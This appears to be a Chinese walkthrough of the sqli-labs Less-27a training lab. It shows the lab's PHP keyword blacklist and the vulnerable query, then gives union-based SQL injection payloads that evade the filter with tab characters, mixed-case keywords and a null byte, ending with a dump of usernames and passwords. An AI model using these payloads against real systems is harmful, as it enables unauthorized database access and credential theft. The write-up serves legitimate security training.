sqli-labs-Less-27a

SQLI-LAPS 实验记录

Less-27a

这一关与上一关类似,但闭合方式不同,变为了",那么过关方式就可以%09制表符应对空格,以大小写绕过的方式应对'union','select'字符过滤。

php 复制代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0" %09uniOn%09selEct%091,2,3;%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0" %09uniOn%09selEct%091,(database()),3;%00
  • 查找表名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3;%00
  • 查找列名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3;%00

    查找其他数据:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09concat(username,':',password)%09from%09security.users%09where%09(id=1)),3;%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
2401_891450463 小时前
Python上下文管理器(with语句)的原理与实践
jvm·数据库·python
helloworldandy3 小时前
使用Python处理计算机图形学(PIL/Pillow)
jvm·数据库·python
「光与松果」3 小时前
Oracle中v$session视图用法
数据库·oracle
木辰風3 小时前
PLSQL自定义自动替换(AutoReplace)
java·数据库·sql
无限码力3 小时前
华为OD技术面真题 - 数据库MySQL - 3
数据库·mysql·华为od·八股文·华为od技术面八股文
heartbeat..3 小时前
Redis 中的锁:核心实现、类型与最佳实践
java·数据库·redis·缓存·并发
Prince-Peng3 小时前
技术架构系列 - 详解Redis
数据结构·数据库·redis·分布式·缓存·中间件·架构
虾说羊3 小时前
redis中的哨兵机制
数据库·redis·缓存
_F_y3 小时前
MySQL视图
数据库·mysql
2301_790300963 小时前
Python单元测试(unittest)实战指南
jvm·数据库·python